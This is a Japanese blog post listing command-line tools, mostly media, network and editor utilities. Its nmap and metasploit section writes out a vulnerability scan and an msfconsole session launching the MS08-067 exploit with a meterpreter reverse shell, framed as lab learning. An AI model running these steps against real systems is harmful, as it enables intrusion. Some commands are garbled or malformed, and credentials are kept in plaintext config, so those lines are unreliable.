Command Line で使用しているツールまとめ vol.2

Command Lineで使用しているツールを簡単にではありますが､まとめてみようと思います｡[前回の続き](http://qiita.com/items/10a9086de309cef5e185)です｡私が知らない便利ツールはまだまだたくさんありますので､ここに掲載されているもの以外で便利なものがあれば､ぜひ教えてください｡

この記事に貼り付けてあるリンクは､キーワードに関連する適切な場所へと誘導してくれます｡非常に有効なので､ぜひ参照してみてください｡

また､私は基本的にパソコンのことは何もわかっていないので､記事内には誤りを含む可能性があります｡よって､できる限り自分の環境を把握した上で､適時読み換えてもらえればと思います｡特に､設定ファイルの場所については気をつけてください｡また､`Git`や`Homebrew`､`MacPort`の導入説明などは省略していますので､注意が必要です｡


#VLC
![](http://farm9.staticflickr.com/8024/7546635278_3ab6d566d7.jpg)

私は､作業中に動画を再生することがよくあります｡ただし､いつも倍速再生するので､`Mplayer`では少し不便な場合があります｡そんな時は､[VLC](http://www.videolan.org/vlc/)を使用してみることにします｡[MacPort](http://osx.miko.org/index.php/Beginning_OS_X_Lion/%E3%82%A2%E3%83%97%E3%83%AA%E5%B0%8E%E5%85%A5%E7%B7%A8_%E6%8B%BE%E9%81%BA)でインストールできるアプリは他にもたくさんあります｡Xcode4.3を使用している場合は､Errorが出るので､以下のようにします｡

```

sudo xcode-select -switch /Applications/Xcode.app/Contents/Developer/

sudo port install vlc

```



または､`.dmg`ファイルを利用してインストールする場合は､設定ファイルに以下を追記すると､便利になります｡これは､`cvlc`を使用する方法です｡


```~/.zshrc

alias cvlc='/Applications/VLC.app/Contents/MacOS/VLC --intf=rc'

```

##VLCにErrorが出る場合
`VLC`のErrorが出る場合､以下のような[解決策](http://blog.sleeplessbeastie.eu/2012/05/19/how-to-use-videolan-in-live-mode/)があるようです｡


```Errorの内容

% vlc
VLC media player 2.0.1 Twoflower (revision 2.0.1-0-gf432547)
[0x23b9108] main libvlc error: No plugins found! Check your VLC installation.

% vlc -v
VLC media player 2.0.1 Twoflower (revision 2.0.1-0-gf432547)
[0x1b8c108] main libvlc warning: cannot read /livefs.squashfs/usr/lib/vlc/plugins/plugins.dat (No such file or directory)
[0x1b8c108] main libvlc error: No plugins found! Check your VLC installation.

```


```Errorの解決法

#Solution 1
#VideoLANのプラグインを参照するためシンボリックリンクを作成します。
$ sudoのはln-s / / livefs.squashfs


#Solution 2
#環境変数にVideoLANの正しいパスを教えます｡
$ export VLC_PLUGIN_PATH=/usr/lib/vlc/plugins/

```

##その他の解決法
その他､`Mac`に[VLC](http://www.videolan.org/vlc/)をインストールし､インターフェイスを変更すると､[CUIで操作](http://www.videolan.org/doc/play-howto/en/ch04.html)できるようになります｡

VLC > 環境設定 > インターフェイス > すべて表示 > インターフェイス:メインインターフェイス > ncurses

![](http://farm9.staticflickr.com/8002/7496641434_fc526454e2.jpg)


```

echo "alias gvlc='/Applications/VLC.app/Contents/MacOS/VLC'" >> ~/.zshrc

source ~/.zshrc

gvlc

```

#ffmpeg
[ffmpeg](http://ja.wikipedia.org/wiki/FFmpeg)とは､`.mp4`や`.flv`を変換することができるツールです｡また､動画変換アプリとしては､[Handbreak](http://dambo.no-ip.org/pwiki/index.php?HandBrakeCLI%E6%B4%BB%E7%94%A8%E6%B3%95)も優秀です｡

```

brew install --use-gcc ffmpeg

```

私は､動画を`.mp3`に変換するために使用することが多いです｡以下のようにしてエイリアスを設定することで`ffmpeg-mp3`でフォルダ内にある`.mp4`と`.flv`を一括変換できます｡

```

echo "alias ffmpeg-mp3='for i in *.mp4; do ffmpeg -i $i -vn ${i%.mp4}.mp3; done && for i in *.flv; do ffmpeg -i $i -vn ${i%.flv}.mp3; done'" >> ~/.zshrc

```

また､`.swf`を変換するには､[swftools](http://www5a.biglobe.ne.jp/~nkgwtty/njaLinuxSwftools.html)が便利です｡


#DVDをバックアップし､変換する
DVDをバックアップし､変換するには､[musical](http://blog.katsuma.tv/2011/11/gem_musical.html)が便利です｡

```

brew install dvdbackup

gem install musical

```

```musicalの使用例

#DVDのリッピングとwavへの変換
musical

#DVDのリッピング
musical --ignore-convert-sound

```


#exiftool
`exiftool`とは､`EXIF`情報を表示したり､編集できるツールのことです｡これを利用することで､[写真を整理](http://yuyunko.hatenablog.com/entry/2012/06/24/180626)したり､整理した写真を[rubyでFlickrに投稿したり](http://yuyunko.hatenablog.com/entry/2012/06/27/232135)することができます｡

```

brew install exiftool

```

また､私は､`GPS`位置情報を削除するためにも使用することがあります｡

```

exiftool -overwrite_original -geotag= *.jpg

```

#imagemagick
[imagemagick](http://www.proton.jp/main/apps/imagemagick.html)とは､画像を表示したり､変換したりするツールです｡

```

brew install imagemagick

```

例えば､`180x120 `の[サムネイルを作成](http://d.hatena.ne.jp/mirakui/20110123/1295795409)するには以下のようにします｡

```

convert -define jpeg:size=180x120 -resize 180x120 src.jpg dst.jpg

```

#jdownloader
[jdownloader](http://jdownloader.org/)とは､Download Managerのことです｡時にファイルをブラウザのダウンローダーでダウンロードしようとすると､ブラウザの挙動により､またはダウンローダーとしての機能によりダウンロード中のファイルが失われ､最初からダウンロードするような事態が起きてしまいがちです｡そのようなときは､`jdownloader`等を使用するとよいでしょう｡また､`jdownloader`は､パスワードを自動解析し､解除したり､自動で解凍したりといった設定が可能なので､色々と便利です｡

ただし､このアプリは､`VLC`などと違ってGUIを基本としたアプリです｡よって､[CUI操作](http://jdownloader.org/knowledge/wiki/terminal/index)もできることはできますが､GUI操作が基本となります｡なお､Macの場合は､`VLC`と同様にエイリアスを設定しておくと便利です｡Linuxの場合は不要でした｡

```

#ダウンロードを開始する
JDownloader -start

#ダウンロードを停止する
JDownloader -stop

#ファイルを追加する
JDownloader -add <link>

#終了する
JDownloader -quit

```

**jdownloader for Ubuntu**

```

sudo apt-add-repository ppa:jd-team/jdownloader

sudo apt-get update

sudo apt-get install jdownloader

```


また､[完全な日本語化](http://tukaikta.blog135.fc2.com/blog-entry-110.html)も可能です｡


#w3m
`w3m`とは､テキストブラウザのことです｡今やURLの認証などは当たり前で､すべての動作をコマンドラインから行おうとした場合､`w3m`が意外と役に立ちます｡もちろん､ブラウジングにも役に立ちますが｡

![](http://farm9.staticflickr.com/8292/7537596620_3c747c7674.jpg)

ここでは､`w3m`のkaymap設定例を紹介しておきます｡

```~/.w3m/kaymap

#'m'で カーソル下のURLをコピーする
keymap m EXTERN_LINK "echo %s | pbcopy"

#'M'で現在開いているURLをコピーする
keymap M EXTERN "echo %s | pbcopy"

```

#youtube-dl
`youtube-dl`とは､YouTube動画をURLからダウンロードするツールです｡`w3m`と一緒に使用すれば､そこそこ便利になるかもしれません｡

```

brew install youtube-dl

youtube-dl -t URL

```


#nmap
[nmap](http://bogus.jp/wp/?p=390)とは､ネットワークスキャナのことです｡様々な脆弱性をスキャンするスクリプトも数多く公開されています｡

```

nmap -sT 192.168.0.3

```

スクリプトは､`Lua`で書かれています｡ダウンロードしたものを`nmap/scripts`に保存し､[データベースを再起動](http://phantom37383.blog11.fc2.com/blog-entry-1270.html)すると使えるようになります｡

```

wget http://nmap.org/svn/scripts/smb-check-vulns.nse

find / -name nmap

mv smb-check-vulns.nse /usr/local/share/nmap/scripts

nmap --script-updatedb

nmap --script=smb-check-vulns 192.168.0.3

```


#metasploit
`metasploit`とは､セキュリティにおける定番ツールのことです｡基本的には､脆弱性スキャナと攻撃ツールとなっておりますが､拡張することで､総合的な脆弱性テストが可能です｡

では､なぜこのようなツールを紹介するのかというと､私は､パソコンのセキュリティは重要であると考えています｡そして､セキュリティを学ぶには､まずはハッキングから学ぶことが効率的だと考えています｡つまり､攻撃者の立場になってものを考えるわけです｡ということで､ここでは､`metasploit`の基本的な使い方を紹介したいと思います｡


```

sudo port install metasploit3

brew install metasploit

sudo port uninstall metasploit3

msfconsole

msfupdate

```

`metasploit`を実行するときは､ローカルネットワークに仮想環境を構築し､それを対象にしましょう｡ここでは､`VirtualBox`を使用｡

```

VBoxManage modifyvm windows-xp --vrde on

VBoxManage statmv windows-xp

```


`metasploit`の使い方を学ぶには､常に最新のセキュリティ情報をチェックし､危険な脆弱性については､仮想環境にて実行してみることをおすすめします｡

```msfconsole

#一気にsessionを確立できるためパフォーマンスによく使われるxpの特定バージョンの脆弱性の検索
> search ms08_067_netapi

#攻撃ツールのロード
> use windows/smb/ms08_067_netapi

#ペイロードの設定
> set PAYLOAD windows/meterpreter/reverss_tcp

#攻撃対象の設定
> set RHOST 192.168.0.3

#使用するポートの設定
> set LPORT 8080

#攻撃の開始
> exploit -j

```

なお､ここでは､投稿の体裁上､Mainの`Mac`で攻撃を実行していますが､攻撃する側､攻撃される側どちらも仮想環境に構築し､外部からアクセス出来ないように設定しておくのが一番かとおもいます｡その場合､攻撃する側は､[BackTrack](http://www.backtrack-linux.org/backtrack/backtrack-5-r2-released/)を使用するのがいいかと思います｡

#BackTrack
`BackTrack5"`とは､`Ubuntu`をベースに作られたHackingToolをつめあわせたOSのことです｡アプリも必要最低限しか入っておらず､かつブラウザの設定において一定のセキュリティが施されていることから､初期からある程度のセキュリティが考えられています｡

![](http://farm8.staticflickr.com/7279/7537399688_4bf4d04bba.jpg)

ここでは､`BackTrack5`の[初期設定](http://gensokyo.net/wiki/?BackTrack)を説明していきたいと思います｡


```ソフトウェアセンターのインストール

apt-get update && apt-get install software-center

```

##日本語化
日本語版の`BackTrack`も出回っているようですが､一応紹介しておきます｡

```ソフトウェアセンターで検索

Language Support

```


##startx自動化

```

apt-get install vim

vim ~/.bash_profile

```

```~/.bash_profile

#!/bin/sh
if [[ ! $DISPLAY && $(tty) = /dev/tty1 ]]; then
exec startx
fi

```

##無線LAN接続の自動化

```

prepare-kernel-sources

cd /usr/src/linux

cp -rf include/generated/* include/linux/

update-rc.d wicd defaults

```

##フォルダの英語化
`Ubuntu`などでは必須の初期設定です｡

```

sudo apt-get install xdg-user-dirs-gtk

LANG=C xdg-user-dirs-gtk-update

```


#mosh
[mosh](http://mosh.mit.edu/)とは､`SSH`に代わる新しいリモートツールのことです｡[moshの特徴](http://pspfour.blog106.fc2.com/blog-entry-1069.html)は､`SSH`にはないIP Addresの追跡機能やレスポンスの快適さにあります｡基本的には､[SSHの設定](http://www.slideshare.net/NobutoshiOgata/ssh-tips-tricks)が使えますので､接続した後は､そちらを参考にしてください｡


```クライアント側(Mac)

brew install mobile-shell

mosh remotehost --server="LANG=$LANG mosh-server"

mosh mba@192.168.0.101

```


```サーバー側(Ubuntu)

sudo apt-get install mosh

```

#Cygwin+mintty
`Windows`でTerminal環境を整えるには､[Cygwin+mintty](http://tanakh.jp/posts/2011-11-15-windows-terminal.html)がベストだと思います｡

![](http://farm8.staticflickr.com/7278/7525081370_241e98500a.jpg)

まずは､[Cygwin](http://www.cygwin.com/)をダウンロードし､インストールした後､以下のコマンドを実行します｡なお､セットアップにて[Web > Wget](http://nukino.github.com/blog/2012/02/02/Cygwin/)だけはCheckを入れておいてください｡

```

wget http://apt-cyg.googlecode.com/svn/trunk/apt-cyg

mv apt-cyg /usr/bin

chmod +x /usr/bin/apt-cyg

source ~/.bashrc

apt-cyg install mintty

```

なお､[シェルをzshに変更](http://pspfour.blog106.fc2.com/blog-entry-1168.html)する場合は､`/etc/passwd`の`/bin/bash`を`/bin/zsh`に変更します｡これで初期からある程度の補完が効いて少しは楽に作業ができます｡

```Shellをzshに変更する

apt-cyg install zsh

apt-cyg install vim

vim /etc/passwd

```

#purge
[purge](http://good-morning-call.com/2012/04/27/mac%E3%81%A7%E4%BD%BF%E3%81%A3%E3%81%A6%E3%81%84%E3%81%AA%E3%81%84%E3%83%A1%E3%83%A2%E3%83%AA%E3%82%92%E8%A7%A3%E6%94%BE%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/)とは､Macのメモリを開放するコマンドです｡`Xcode`を入れると､同時に入ります｡

```

purge

```

動作が一瞬停滞しますが､アプリのクラッシュなどはなく､踏み込んだメモリ解放はおこなっていない様子です｡docsを見てみましょう｡ここでは､ページャーである[less](http://www.k-tanaka.net/unix/less.html)をインストールしてみます｡

```

brew install less

man purge | less -N

```

ディスクキャッシュとして確保されているメモリを解放して起動時の状態に近づけるとあります。また、特定できないメモリの確保には影響しないとあります｡よって､効果は高いけど､悪影響も小さいということでしょう｡安心して使えそうですね｡


#kptool
`kptool`とは､[keepass](http://keepass.info/)のCLI版のようなものです｡そして､`keepass`とは､パスワード管理アプリです｡なお､[kptool](https://github.com/shirou/kptool)は､パスワードを管理することになる以上､docsをしっかりと読み､理解した上で使用しましょう｡

```

sudo easy_install pip

pip install kptool

```

**改良版**


```改良版

git clone https://github.com/shirou/kptool.git

cd kptool/kptool

python kptool.py ~/kptool/tests/keepass-test.kdb

```

![](http://farm8.staticflickr.com/7257/7540690906_60ecd18126.jpg)

実行できない場合は必要なものを揃えます｡

```その他

cd ~/kptool

sudo python setup.py install

または､

sudo pip install pycrypto 

echo "alias keepass='python ~/kptool/kptool/kptool.py ~/kptool/tests/keepass-test.kdb'" >> ~/.zshrc

source ~/.zshrc

keepass

```

他にも[python-keepass](https://github.com/brettviren/python-keepass)というものがあります｡


#wol
`wol`とは､Wake-on-LANの略です｡簡単に言えば､パソコンの電源をリモートで入れられるアプリのこと｡パソコンは､マジックパケットというものを受信すると､パーツや設定にもよりますが､リモートで電源が入るようになっています｡

##サーバー側

```

sudo apt-get install ethtool

sudo vim /etc/rc.local

```

```/etc/rc.local

/usr/sbin/ethtool -s eth0 wol g

exit0

```

##クライアント側

```

brew install wakeonlan

wakeonlan  -i <IP Address> <Mac Address>

```

もちろん､LAN経由のみならず､[WAN経由](http://d.hatena.ne.jp/bluepapa32/20100917/1284742898)でも遠隔でパソコンの電源をいれることは可能です｡また､iPhoneやAndroidの[Fing](http://itunes.apple.com/jp/app/fing-network-scanner/id430921107?mt=8)でも`WOL`は可能なので試してみてください｡

```

git clone git://gist.github.com/3018095.git

```

参考:[Wake-on-LANのマジックパケットを投げつけるだけ](https://gist.github.com/3018095)

##Global IP Addressの確認

```

curl ifconfig.me

```

##ダイナミックDNS
WAN経由で遠隔操作する場合､サーバーのグローバルアドレスの変化を通知するようにしておきましょう｡

まず､[MyDNS]()に登録します｡次に､メール送信ソフトとスケジュールソフトのインストールと設定を行います｡

```

sudo apt-get update && sudo apt-get install fetchmail

sudo chmod 710 ~/.fetchmailrc

sudo nano ~/.fetchmailrc

```

```~/.fetchmailrc

user <MyDNSのID>

password <MyDNSのパスワード>

is <サーバーのアカウント> here

```

```

crontab -e

0*** /usr/bin/fetchmail -f $HOME/.fetchmailrc 1> /dev/null 2>&1

```


#Vim
##VimのキーバインドをEmacs風にする
`Vim`とは､Pluginが豊富なEditorのことです｡私は､kaybindは基本的には`Emacs`のほうが好きなのですが､Pluginは`Vim`だと思っています｡最初に､[Emacs風のkaybind](https://sites.google.com/site/fudist/Home/vim-nihongo-ban/tips/vim-key-emacs)を設定ファイルに書いてみます｡

```~/.vimrc

" 矢印キーの使用
inoremap <C-p> <Up>
inoremap <C-n> <Down>
inoremap <C-b> <Left>
inoremap <C-f> <Right>
inoremap <C-e> <End>
inoremap <C-a> <Home>
inoremap <C-h> <Backspace>
inoremap <C-d> <Del>
" カーソル位置の行をウィンドウの中央に来るようにスルロール
inoremap <C-l> <C-o>zz
" カーソル以前の文字を削除
inoremap <C-u> <C-o>d0
" カーソル以降の文字を削除
inoremap <C-k> <C-o>D
" アンドゥ
inoremap <C-x>u <C-o>u
" 貼りつけ
inoremap <C-y> <C-o>P
" カーソルから単語末尾まで削除
inoremap <F1>d <C-o>dw
" ファイルの先頭に移動
inoremap <F1>< <Esc>ggI
" ファイルの末尾に移動
inoremap <F1>> <Esc>GA
" 下にスクロール
inoremap <C-v> <C-o><C-f>
" 上にスクロール
inoremap <F1>v <C-o><C-b>
" Ctrl-Space で補完
" Windowsは <Nul>でなく <C-Space> とする
inoremap <Nul> <C-n>

```

参考:[vimのインサートモード時のキーバインドをemacsに似せる 2](http://gravity-crim.blogspot.jp/2011/06/vimemacs-2_20.html)

私の場合､カーソル1文字移動は`Vim`風のkeybindのほうが好きなので､そこら辺は変更してあったりと､上の設定とはちょっとばかり異なります｡

##コマンドモードへの移行

```~/.vimrc

" insert mode でjjでesc
inoremap jj <Esc>

```

参考:[yuroyoro / dotfiles](https://github.com/yuroyoro/dotfiles/blob/master/.vimrc.moving)

##自動的な移動

```~/.vimrc

" カッコやクオートなどを入力した際に左に自動で移動します
inoremap {} {}<Left>
inoremap [] []<Left>
inoremap () ()<Left>
inoremap "" ""<Left>
inoremap '' ''<Left>
inoremap <> <><Left>

```

参考:[Vimでキーバインドを設定する](http://blog.paz-para.com/?p=1794)


##Vim Plugin
###teol.vim
Cなどを書くときに行末につける`;`を忘れてしまうことはありませんか｡そんな時は､[teol.vim](https://github.com/vim-scripts/teol.vim)が便利です｡

```~/.vimrc.bundle

Bundle 'vim-scripts/teol.vim.git'

```

例えば､`<leader>`+`;`を入力すると､行末に`;`が挿入されます｡


###vim-smartchr
見栄えを良くするために半角スペースを使用することは多くありませんか｡そんな時は､[vim-smartchr](https://github.com/kana/vim-smartchr)を使って設定を行なっておくと便利ですよ｡

```~/.vimrc.bundle

Bundle 'kana/vim-smartchr'

```

参考:[Shougo / shougo-s-github](https://github.com/Shougo/shougo-s-github/blob/master/vim/.vimrc)


例えば､`=`と入力すると､スペースを含めた`_=_`が入力されるように[設定](http://project-p.jp/halt/?p=1068)してみます｡

```~/.vimrc

inoremap <expr> = smartchr#loop(' = ', ' == ', ' === ', '=')

```

##simplenote.vim
私はメモ帳に[Simplenote](http://simplenoteapp.com/)を多用しています｡Cloudに保存されるのと､端末向けの[Client App](http://itunes.apple.com/jp/app/simplenote/id289429962?mt=8)が用意されていることや､URLを手軽にクリップできるのも大きいです｡今回は､`Vim`上で動作する[Simplenote Client](https://github.com/mrtazz/simplenote.vim)の紹介です｡

```~/.vimrc.bundle

Bundle 'mrtazz/simplenote.vim'

```

`vimrc`にアカウント情報を入力しましょう｡

```~/.vimrc

let g:SimplenoteUsername = "your simplenote username"
let g:SimplenotePassword = "your simplenote password"

```

これで例えば､`:Simplenote -l`とすると､リストが表示され､直感的な操作でメモを閲覧､編集できます｡

![](http://farm8.staticflickr.com/7107/7540717676_5096d65d5f.jpg)


**追記**
投稿の上限が来たので､これ以降のツールの紹介は､次回になります｡よろしくお願いします｡